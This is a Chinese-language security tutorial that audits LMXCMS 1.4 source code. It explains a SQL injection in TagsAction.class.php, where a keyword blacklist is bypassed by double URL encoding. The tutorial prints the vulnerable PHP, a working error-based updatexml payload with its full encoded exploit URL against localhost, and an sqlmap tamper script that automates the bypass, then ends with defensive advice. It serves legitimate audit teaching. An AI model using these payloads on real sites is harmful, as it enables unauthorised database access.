初学代码审计之lmxcms源代码审计
字数 1761 2025-08-20 18:17:53
LMXCMS 源代码审计与漏洞复现教学文档
一、环境搭建
1. 源码下载
- 下载地址:http://www.lmxcms.com/down/
- 建议下载最新版本进行测试
2. 开发环境配置
- PHPStorm + Xdebug 调试环境
- PHP 版本建议 5.x(与 LMXCMS 兼容)
- MySQL 数据库
3. 安装步骤
- 将源码解压至 web 目录
- 访问
/install目录进行安装 - 按照安装向导完成数据库配置
- 安装成功后访问首页验证
二、漏洞分析
1. 前台 TagsAction.class.php SQL 注入漏洞
漏洞位置
TagsAction.class.php 文件中的 __construct 方法
漏洞原理
- 通过
p(2,1,1)获取 GET 参数 - 参数经过
string::delHtml和urldecode处理 - 直接拼接 SQL 语句导致注入
关键代码分析
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1); // 获取GET参数
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name); // 第一次URL解码
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name); // 直接使用name参数查询
if(!$this->data) _404();
}
}
过滤函数分析
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data); // 调用SQL过滤
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
// SQL过滤函数
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
$v = strtolower($v); // 转换为小写
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
漏洞利用方式
- 由于
urldecode在filter_sql之后执行,可以进行二次URL编码绕过 - 构造Payload:
1' and updatexml(0,concat(0x7e,user()),1)# - 进行两次URL编码后传入
漏洞复现步骤
- 访问URL:
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33 - 解码过程:
- 第一次解码:
%31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29%23 - 第二次解码:
1' and updatexml(0,concat(0x7e,user()),1)#
- 第一次解码:
SQLMap Tamper 脚本
# sqlmap/tamper/urlencode.py
import urllib.parse
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
对payload进行URL编码的tamper函数。
:param payload: 需要编码的原始payload字符串
:param kwargs: 额外的关键字参数
:return: URL编码后的payload字符串
"""
if isinstance(payload, str):
encoded_payload = urllib.parse.quote(payload)
enencoded_payload = urllib.parse.quote(encoded_payload)
return enencoded_payload
return payload
2. 前台 SearchAction.class.php SQL 注入漏洞
漏洞位置
搜索功能相关代码
漏洞原理
- 搜索功能未对用户输入进行充分过滤
- 直接拼接SQL语句导致注入
漏洞复现
- 在首页搜索框中输入测试Payload
- 观察URL参数变化
- 构造恶意输入进行测试
三、调试技巧
使用 Xdebug + PHPStorm 调试
- 配置 Xdebug 扩展
- PHPStorm 设置调试配置
- 在关键函数处设置断点
- 使用
XDEBUG_SESSION_START参数触发调试
示例调试URL:
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=test?XDEBUG_SESSION_START=16408
四、防御建议
- 对所有用户输入进行严格的过滤和验证
- 使用参数化查询或预处理语句
- 避免直接拼接SQL语句
- 对关键函数进行安全审计
- 更新到最新版本,修复已知漏洞
五、总结
本文详细分析了 LMXCMS 中的两个SQL注入漏洞,重点介绍了:
- TagsAction.class.php 中的注入漏洞原理和利用方式
- 二次URL编码绕过过滤的技巧
- 使用SQLMap Tamper脚本自动化测试
- Xdebug调试方法
- 防御建议
通过本教程,读者可以掌握基本的代码审计方法和漏洞利用技巧,提高Web应用安全防护能力。